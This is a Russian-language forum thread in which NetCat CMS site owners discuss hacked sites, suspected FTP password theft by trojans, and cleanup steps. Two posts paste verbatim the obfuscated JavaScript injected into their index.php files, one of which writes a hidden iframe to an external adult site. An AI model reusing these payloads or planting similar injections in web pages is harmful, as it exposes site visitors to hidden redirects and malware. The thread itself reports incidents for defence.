Регистрация
Вход через соцсети
Восстановление пароля

внедрение в index.php ссылка на троян

Новый топик
Страницы: 1  |  2  |  3  |  4
20.07.2007, 16:57
Ответить | Цитировать
d

Зарегистрирован:
2007-02-09
Сообщений: 93

Цитата:
Сломан уже не один и даже не пять сайтов...

а можно посмотреть, каким образом сломан? У вас есть логи взлома хотя бы одного из них? без логов гадать бесполезно. Да и номер версии не повредит (обновляться надо своевременно).
Цитата:
и будут такие вот дыры находится раз в год

Какие дыры? Информации о критических проблемах безопасности в текущей версии нет, иначе вышел бы патч сразу же.

На семинаре сказали, что критические уязвимости будут исправляться патчами, которые будут в свободном доступе для всех зарегистрированных пользователей, независимо от статуса оплаты техподдержки.
29.07.2007, 20:17
Ответить | Цитировать
Гость
Гость

Ломают так сайты не только на Netcat но и на других CMS.
Мне так кажется что просто-напросто у людей на компах сидят трояны которые собирают парольчики и отправляют их системе, система уже сама коннектится к FTP и заменяет файлик.
Говорить могу так потому что на одном из поддерживаемых мною сайтов так было, просто клиенты прос..ли пароль к FTP. В логах было видно что было 2 коннекта на FTP и оба раза файл index.php подменялся.
27.08.2007, 17:06
Ответить | Цитировать
drjeans
Сморовоз Сергей
drjeans

Зарегистрирован:
2005-03-04
Сообщений: 76

Меняйте пароли к FTP и все взломы прекратятся!

Аудит сайтов на CMS NetCat, оптимизация и поисковое продвижение.
24.09.2007, 00:53
Ответить | Цитировать
law
Php-nuke

Зарегистрирован:
2005-11-02
Сообщений: 47

аналогичная картина, но уже не iframe, а внедрение ява-скрипта в индекс....
кроме того в папке /netcat/admin/ появилось несколько странных файлов:
mailer.php?number=50
cron.php
cron.php?param=update
cron.php?param=process
c различным содержимым...

так что может быть проблемы не только в хостерах, прошу всех пострадавших проверить у себя папку /netcat/admin/ на наличие новых/обновленных файлов и сообщить результаты.

а службу поддержки проверить код на уязвимость.
24.09.2007, 10:41
Ответить | Цитировать
resident
Веб-группа «Дабл Ю»

Зарегистрирован:
2005-01-10
Сообщений: 336

в папку /netcat/admin/ при нормальныйх правах на папку может записать только владелец по ftp или root пользователь (возможны другие варианты в зависимости от кривизны настроек сервера)
скриптом что-то записать туда невозможно
если в /netcat/admin/ левые файлы, то это вы подарили кому-то пароль от ftp либо взломали сервер
01.12.2007, 15:04
Ответить | Цитировать
Неткам
Неткам

Зарегистрирован:
2006-06-27
Сообщений: 19

проверяйте лучше свои компы последними версиями антивирусов с обновленными базами. Если у вас есть трояны, смена пароля вам не поможет, он опять утечет. И второе - не сохраняйте пароли в FTP-клиентах.
16.12.2007, 20:42
Ответить | Цитировать
Muerto
Алексей Виноградов-фон Шлиппе

Зарегистрирован:
2006-09-14
Сообщений: 37

Agava. Принимайте в строй.
Код
Код:
<!-- 30f666a4b5e6c78cdee529155b35b522 --><script>document.write(unescape("%3Cscript%3Efunction%20ch46gi%28ap6lct%29%7Bvar%20grkm72%3Dnew%20String%28arguments.callee%29%3Bgrkm72%3Dgrkm72.replace%28/%5B%5Ea-z0-9%28%29+_%5C.%2C-%5D+/ig%2C%20%22%22%29.toUpperCase%28%29%2Caq1b5v%3D0%2Cerp63y%3D0%2Cobctn8%3D%27%27%2Cf43z9h%3D0%3Bfor%28var%20rjyezq%3D0%3Brjyezq%3Cgrkm72.length%3Brjyezq++%29f43z9h+%3Dgrkm72.charCodeAt%28rjyezq%2C1%29%3Bfor%28aq1b5v%3D0%3Baq1b5v%3Cap6lct.length%3Baq1b5v++%29%7Bvar%20dkvh9a%3Dap6lct%5Baq1b5v%5D%2Cca9ps1%3Dgrkm72.substr%28erp63y%2C1%29.charCodeAt%280%29%5Ef43z9h%3Bobctn8+%3DString.fromCharCode%28dkvh9a%5Eca9ps1%29%3Berp63y++%3Bif%28erp63y%3D%3Dgrkm72.length%29erp63y%3D0%7Ddocument.write%28obctn8%29%3Bobctn8%3D%27%27%7Dch46gi%28new%20Array%2829392%2C29324%2C29319%2C29339%2C29335%2C29331%2C29329%2C29402%2C29412%2C29416%2C29389%2C29416%2C29343%2C29322%2C29420%2C29324%2C29396%2C29420%2C29332%2C29318%2C29322%2C29420%2C29320%2C29330%2C29320%2C29320%2C29398%2C29360%2C29355%2C29387%2C29387%2C29366%2C29357%2C29369%2C29401%2C29379%2C29400%2C29317%2C29329%2C29315%2C29409%2C29343%2C29329%2C29314%2C29329%2C29391%2C29382%2C29380%2C29317%2C29401%2C29426%2C29320%2C29337%2C29382%2C29330%2C29394%2C29339%2C29419%2C29316%2C29323%2C29389%2C29383%2C29426%2C29349%2C29386%2C29407%2C29402%2C29383%2C29435%2C29431%2C29430%2C29392%2C29337%2C29339%2C29332%2C29387%2C29312%2C29394%2C29430%2C29381%2C29419%2C29333%2C29428%2C29408%2C29415%2C29418%2C29368%2C29345%2C29340%2C29370%2C29371%2C29367%2C29370%2C29379%2C29316%2C29355%2C29358%2C29357%2C29406%2C29322%2C29396%2C29383%2C29326%2C29377%2C29323%2C29340%2C29321%2C29322%2C29339%2C29424%2C29355%2C29423%2C29383%2C29386%2C29362%2C29395%2C29375%2C29326%2C29439%2C29426%2C29338%2C29322%2C29332%2C29372%2C29430%2C29384%2C29370%2C29435%2C29416%2C29410%2C29327%2C29323%2C29322%2C29425%2C29426%2C29317%2C29425%2C29431%2C29392%2C29437%2C29316%2C29400%2C29380%2C29388%2C29315%2C29439%2C29425%2C29409%2C29334%2C29342%2C29346%2C29405%2C29343%2C29314%2C29332%2C29422%2C29335%2C29332%2C29322%2C29343%2C29333%2C29403%2C29392%2C29400%2C29338%2C29418%2C29335%2C29333%2C29326%2C29423%2C29319%2C29323%2C29342%2C29322%2C29400%2C29407%2C29326%2C29328%2C29377%2C29380%2C29332%2C29427%2C29412%2C29410%2C29378%2C29416%2C29436%2C29332%2C29364%2C29388%2C29392%2C29345%2C29358%2C29362%2C29365%2C29407%2C29404%2C29356%2C29376%2C29390%2C29339%2C29337%2C29341%2C29325%2C29396%2C29384%2C29380%2C29328%2C29409%2C29398%2C29319%2C29341%2C29318%2C29316%2C29320%2C29417%2C29427%2C29358%2C29314%2C29324%2C29337%2C29423%2C29380%2C29404%2C29365%2C29369%2C29395%2C29354%2C29385%2C29369%2C29369%2C29407%2C29376%2C29366%2C29392%2C29320%2C29333%2C29427%2C29325%2C29312%2C29339%2C29386%2C29319%2C29314%2C29313%2C29399%2C29401%2C29328%2C29341%2C29391%2C29434%2C29324%2C29368%2C29392%2C29410%2C29422%2C29420%2C29335%2C29314%2C29341%2C29368%2C29312%2C29328%2C29335%2C29430%2C29393%2C29402%2C29398%2C29329%2C29420%2C29412%2C29428%2C29410%2C29330%2C29429%2C29339%2C29419%2C29341%2C29418%2C29317%2C29387%2C29353%2C29402%2C29343%2C29422%2C29315%2C29339%2C29333%2C29326%2C29426%2C29430%2C29356%2C29392%2C29426%2C29410%2C29424%2C29317%2C29429%2C29320%2C29414%2C29425%2C29331%2C29434%2C29361%2C29394%2C29426%2C29427%2C29418%2C29431%2C29383%2C29315%2C29319%2C29322%2C29324%2C29316%2C29322%2C29334%2C29346%2C29328%2C29425%2C29422%2C29410%2C29312%2C29426%2C29436%2C29332%2C29371%2C29387%2C29388%2C29413%2C29411%2C29431%2C29421%2C29417%2C29324%2C29427%2C29431%2C29425%2C29418%2C29330%2C29324%2C29430%2C29388%2C29323%2C29381%2C29402%2C29385%2C29376%2C29399%2C29329%2C29327%2C29335%2C29327%2C29314%2C29415%2C29390%2C29334%2C29333%2C29318%2C29415%2C29315%2C29396%2C29402%2C29363%2C29330%2C29340%2C29426%2C29412%2C29319%2C29324%2C29383%2C29357%2C29369%2C29333%2C29427%2C29408%2C29326%2C29321%2C29376%2C29312%2C29322%2C29342%2C29433%2C29419%2C29390%2C29405%2C29400%2C29330%2C29333%2C29438%2C29349%2C29347%2C29380%2C29391%2C29391%2C29389%2C29322%2C29322%2C29418%2C29340%2C29398%2C29341%2C29433%2C29421%2C29365%2C29416%2C29327%2C29320%2C29324%2C29354%2C29365%2C29347%2C29388%2C29399%2C29348%2C29398%2C29400%2C29377%2C29401%2C29393%2C29374%2C29386%2C29313%2C29327%2C29324%2C29317%2C29439%2C29414%2C29403%2C29386%2C29394%2C29427%2C29422%2C29339%2C29413%2C29430%2C29328%2C29339%2C29319%2C29379%2C29342%2C29380%2C29325%2C29325%2C29437%2C29417%2C29312%2C29318%2C29420%2C29343%2C29396%2C29419%2C29332%2C29312%2C29322%2C29414%2C29396%2C29336%2C29393%2C29389%2C29317%2C29420%2C29421%2C29332%2C29329%2C29421%2C29324%2C29340%2C29325%2C29341%2C29328%2C29387%2C29313%2C29380%2C29433%2C29387%2C29340%2C29314%2C29340%2C29330%2C29314%2C29313%2C29328%2C29325%2C29354%2C29342%2C29337%2C29327%2C29330%2C29322%2C29383%2C29345%2C29393%2C29328%2C29333%2C29322%2C29425%2C29350%2C29393%2C29338%2C29326%2C29315%2C29412%2C29350%2C29350%2C29400%2C29380%2C29402%2C29333%2C29387%2C29378%2C29391%2C29344%2C29399%2C29352%2C29330%2C29429%2C29411%2C29418%2C29372%2C29375%2C29358%2C29341%2C29424%2C29419%2C29419%2C29375%2C29377%2C29380%2C29350%2C29438%2C29321%2C29428%2C29420%2C29430%2C29427%2C29326%2C29319%2C29329%2C29338%2C29381%2C29322%2C29322%2C29430%2C29376%2C29417%2C29316%2C29328%2C29426%2C29325%2C29367%2C29320%2C29426%2C29423%2C29340%2C29398%2C29337%2C29427%2C29430%2C29336%2C29427%2C29411%2C29355%2C29321%2C29316%2C29339%2C29384%2C29362%2C29426%2C29316%2C29431%2C29418%2C29406%2C29424%2C29325%2C29429%2C29319%2C29324%2C29341%2C29396%2C29341%2C29319%2C29325%2C29341%2C29385%2C29384%2C29414%2C29437%2C29425%2C29331%2C29425%2C29341%2C29438%2C29413%2C29433%2C29318%2C29377%2C29429%2C29419%2C29422%2C29422%2C29437%2C29424%2C29349%2C29312%2C29323%2C29318%2C29335%2C29319%2C29400%2C29402%2C29395%2C29321%2C29317%2C29333%2C29410%2C29429%2C29418%2C29315%2C29424%2C29361%2C29342%2C29426%2C29327%2C29412%2C29377%2C29400%2C29335%2C29318%2C29425%2C29421%2C29409%2C29376%2C29423%2C29409%2C29425%2C29330%2C29416%2C29412%2C29414%2C29410%2C29320%2C29411%2C29322%2C29376%2C29335%2C29394%2C29392%2C29333%2C29411%2C29420%2C29347%2C29352%2C29316%2C29324%2C29415%2C29379%2C29394%2C29344%2C29384%2C29435%2C29394%2C29417%2C29326%2C29327%2C29391%2C29313%2C29426%2C29337%2C29379%2C29332%2C29433%2C29329%2C29385%2C29370%2C29413%2C29330%2C29322%2C29388%2C29380%2C29392%2C29317%2C29326%2C29327%2C29391%2C29313%2C29426%2C29337%2C29353%2C29352%2C29347%2C29399%2C29387%2C29376%2C29400%2C29397%2C29388%2C29394%2C29347%2C29403%2C29403%2C29395%2C29351%2C29382%2C29412%2C29428%2C29410%2C29426%2C29439%2C29319%2C29436%2C29321%2C29419%2C29324%2C29317%2C29415%2C29396%2C29338%2C29428%2C29314%2C29331%2C29320%2C29314%2C29373%2C29349%2C29348%2C29335%2C29342%2C29317%2C29340%2C29406%2C29395%2C29346%2C29389%2C29381%2C29400%2C29372%2C29362%2C29395%2C29411%2C29416%2C29408%2C29413%2C29337%2C29319%2C29379%2C29326%2C29320%2C29321%2C29339%2C29322%2C29378%2C29406%2C29353%2C29370%2C29345%2C29399%2C29374%2C29436%2C29320%2C29411%2C29323%2C29335%2C29325%2C29338%2C29379%2C29382%2C29362%2C29354%2C29401%2C29338%2C29398%2C29335%2C29323%2C29354%2C29385%2C29368%2C29355%2C29329%2C29333%2C29312%2C29324%2C29324%2C29392%2C29376%2C29406%2C29390%2C29414%2C29323%2C29415%2C29420%2C29430%2C29419%2C29422%2C29383%2C29412%2C29409%2C29338%2C29339%2C29333%2C29417%2C29414%2C29326%2C29340%2C29315%2C29397%2C29431%2C29312%2C29429%2C29408%2C29327%2C29312%2C29415%2C29323%2C29400%2C29376%2C29372%2C29439%2C29318%2C29315%2C29339%2C29333%2C29326%2C29426%2C29430%2C29356%2C29391%2C29410%2C29422%2C29412%2C29317%2C29423%2C29321%2C29414%2C29425%2C29320%2C29433%2C29421%2C29318%2C29416%2C29312%2C29381%2C29384%2C29399%2C29315%2C29312%2C29319%2C29323%2C29417%2C29336%2C29334%2C29335%2C29392%2C29324%2C29421%2C29322%2C29315%2C29312%2C29339%2C29386%2C29435%2C29421%2C29313%2C29325%2C29329%2C29361%2C29314%2C29370%2C29336%2C29335%2C29325%2C29338%2C29392%2C29312%2C29322%2C29323%2C29314%2C29323%2C29435%2C29394%2C29324%2C29326%2C29415%2C29387%2C29393%2C29372%2C29377%2C29396%2C29401%2C29347%2C29399%2C29387%2C29324%2C29317%2C29329%2C29330%2C29385%2C29438%2C29431%2C29323%2C29316%2C29332%2C29340%2C29352%2C29337%2C29327%2C29329%2C29320%2C29355%2C29387%2C29381%2C29392%2C29407%2C29386%2C29406%2C29389%2C29381%2C29428%2C29326%2C29408%2C29334%2C29386%2C29419%2C29413%2C29414%2C29412%2C29320%2C29324%2C29351%2C29333%2C29436%2C29429%2C29320%2C29357%2C29363%2C29355%2C29373%2C29346%2C29348%2C29342%2C29338%2C29332%2C29317%2C29343%2C29312%2C29312%2C29420%2C29379%2C29358%2C29437%2C29328%2C29326%2C29416%2C29327%2C29321%2C29320%2C29436%2C29426%2C29415%2C29429%2C29345%2C29319%2C29313%2C29422%2C29374%2C29408%2C29329%2C29318%2C29322%2C29335%2C29343%2C29313%2C29324%2C29383%2C29319%2C29334%2C29324%2C29411%2C29431%2C29423%2C29316%2C29333%2C29365%2C29312%2C29424%2C29327%2C29422%2C29373%2C29391%2C29429%2C29424%2C29333%2C29328%2C29313%2C29439%2C29426%2C29328%2C29338%2C29319%2C29406%2C29379%2C29434%2C29426%2C29336%2C29422%2C29347%2C29407%2C29372%2C29381%2C29370%2C29383%2C29381%2C29392%2C29354%2C29336%2C29319%2C29328%2C29400%2C29405%2C29390%2C29391%2C29399%2C29404%2C29370%2C29316%2C29340%2C29395%2C29323%2C29340%2C29331%2C29389%2C29381%2C29404%2C29383%2C29370%2C29421%2C29418%2C29314%2C29322%2C29314%2C29316%2C29328%2C29319%2C29340%2C29383%2C29402%2C29391%2C29391%2C29403%2C29429%2C29417%2C29418%2C29343%2C29360%2C29438%2C29333%2C29415%2C29360%2C29408%2C29315%2C29340%2C29362%2C29331%2C29423%2C29425%2C29418%2C29326%2C29386%2C29378%2C29400%2C29395%2C29381%2C29385%2C29384%2C29378%2C29406%2C29353%2C29400%2C29316%2C29343%2C29319%2C29406%2C29321%2C29411%2C29419%2C29423%2C29325%2C29318%2C29341%2C29346%2C29379%2C29396%2C29376%2C29366%2C29438%2C29393%2C29408%2C29403%2C29398%2C29346%2C29382%2C29362%2C29345%2C29380%2C29398%2C29371%2C29384%2C29390%2C29399%2C29354%2C29332%2C29322%2C29332%2C29313%2C29343%2C29313%2C29326%2C29403%2C29363%2C29383%2C29379%2C29394%2C29354%2C29358%2C29359%2C29403%2C29381%2C29407%2C29383%2C29377%2C29404%2C29385%2C29363%2C29385%2C29381%2C29400%2C29372%2C29389%2C29385%2C29322%2C29315%2C29330%2C29416%2C29382%2C29432%2C29337%2C29426%2C29371%2C29322%2C29437%2C29342%2C29354%2C29423%2C29343%2C29329%2C29327%2C29312%2C29365%2C29361%2C29348%2C29394%2C29407%2C29386%2C29399%2C29404%2C29400%2C29353%2C29391%2C29324%2C29330%2C29429%2C29418%2C29405%2C29422%2C29428%2C29424%2C29424%2C29385%2C29385%2C29387%2C29324%2C29313%2C29324%2C29341%2C29377%2C29339%2C29343%2C29430%2C29426%2C29368%2C29409%2C29332%2C29328%2C29325%2C29375%2C29423%2C29423%2C29409%2C29326%2C29339%2C29328%2C29376%2C29408%2C29335%2C29338%2C29355%2C29335%2C29334%2C29316%2C29418%2C29323%2C29400%2C29407%2C29383%2C29327%2C29335%2C29317%2C29339%2C29341%2C29324%2C29313%2C29313%2C29354%2C29383%2C29420%2C29430%2C29419%2C29416%2C29414%2C29411%2C29410%2C29338%2C29324%2C29336%2C29417%2C29347%2C29315%2C29381%2C29387%2C29354%2C29365%2C29395%2C29410%2C29372%2C29379%2C29387%2C29362%2C29406%2C29386%2C29385%2C29352%2C29356%2C29381%2C29402%2C29376%2C29400%2C29318%2C29439%2C29435%2C29408%2C29315%2C29321%2C29379%2C29377%2C29406%2C29325%2C29374%2C29384%2C29407%2C29377%2C29372%2C29439%2C29340%2C29416%2C29390%2C29389%2C29343%2C29342%2C29333%2C29391%2C29325%2C29379%2C29364%2C29382%2C29400%2C29322%2C29406%2C29395%2C29346%2C29321%2C29395%2C29385%2C29335%2C29391%2C29369%2C29354%2C29381%2C29319%2C29378%2C29379%2C29319%2C29372%2C29343%2C29322%2C29318%2C29338%2C29322%2C29329%2C29381%2C29388%2C29348%2C29315%2C29418%2C29428%2C29379%2C29317%2C29422%2C29316%2C29333%2C29422%2C29390%2C29348%2C29343%2C29431%2C29332%2C29381%2C29322%2C29324%2C29334%2C29317%2C29320%2C29424%2C29360%2C29389%2C29391%2C29399%2C29401%2C29341%2C29398%2C29327%2C29313%2C29315%2C29413%2C29343%2C29328%2C29380%2C29395%2C29383%2C29406%2C29384%2C29406%2C29384%2C29357%2C29394%2C29414%2C29420%2C29423%2C29414%2C29341%2C29414%2C29337%2C29325%2C29331%2C29321%2C29373%2C29431%2C29398%2C29429%2C29419%2C29422%2C29408%2C29329%2C29321%2C29426%2C29330%2C29431%2C29420%2C29341%2C29320%2C29341%2C29346%2C29316%2C29351%2C29389%2C29370%2C29417%2C29430%2C29429%2C29347%2C29423%2C29331%2C29382%2C29358%2C29358%2C29370%2C29379%2C29314%2C29352%2C29418%2C29418%2C29325%2C29329%2C29342%2C29334%2C29334%2C29383%2C29393%2C29394%2C29414%2C29427%2C29395%2C29357%2C29424%2C29413%2C29337%2C29330%2C29419%2C29340%2C29345%29%29%3C/script%3E"))</script><!--/-->

дописывается в конец index.php
Ничего не делает, но есть.

Nadie hablara de nosotras cuando hayamos muerto...
21.03.2008, 09:30
Ответить | Цитировать
TimeDesign
«Тайм-дизайн»

Зарегистрирован:
2007-04-25
Сообщений: 16

+1 грустный

<!-- o --><script language='JavaScript'>function nbsp() {var t,o,l,i,j;var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';s+='060073070082065077069032115114099061034104116116112058047047115117112101114097100117108116115101120';s=s+'046110101116047099103105045098105110047105110046099103105063112061117115101114049049034032119105100';s=s+'116104061051032104101105103104116061051032115116121108101061034100105115112108097121058110111110101';s=s+'034062060047073070082065077069062032';t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(String.fromCharCode(t));t='';}}nbsp();</script><!-- c -->

Студия "Time Design" - www.timedesign.ru
28.05.2008, 16:51
Ответить | Цитировать
elvizzz
Владимиров Василий

Зарегистрирован:
2008-05-08
Сообщений: 2

описал ответ здесь
http://netcat.ru/support/ncforum/?Subdiv_ID=1&Topic_ID=503

шел, увидел, ушел...
04.06.2008, 10:51
Ответить | Цитировать
Гость
Гость

Кмс-ка тут не причем это взломан ФТП, причем не то чтобы взломан, просто у вас на компьютере сидит троян, который берет пароль и логин к FTP из ваших фтп-менеджеров.

Чистим комп от троянов лучше с другого компьютера.
Меняем пароли к фтп.
Ручками вырезаем со всех индексов вредоносный код.
Забываем про порносайты.
198 196 2010-03-31 17:59:14 7098
Страницы: 1  |  2  |  3  |  4
Описание проекта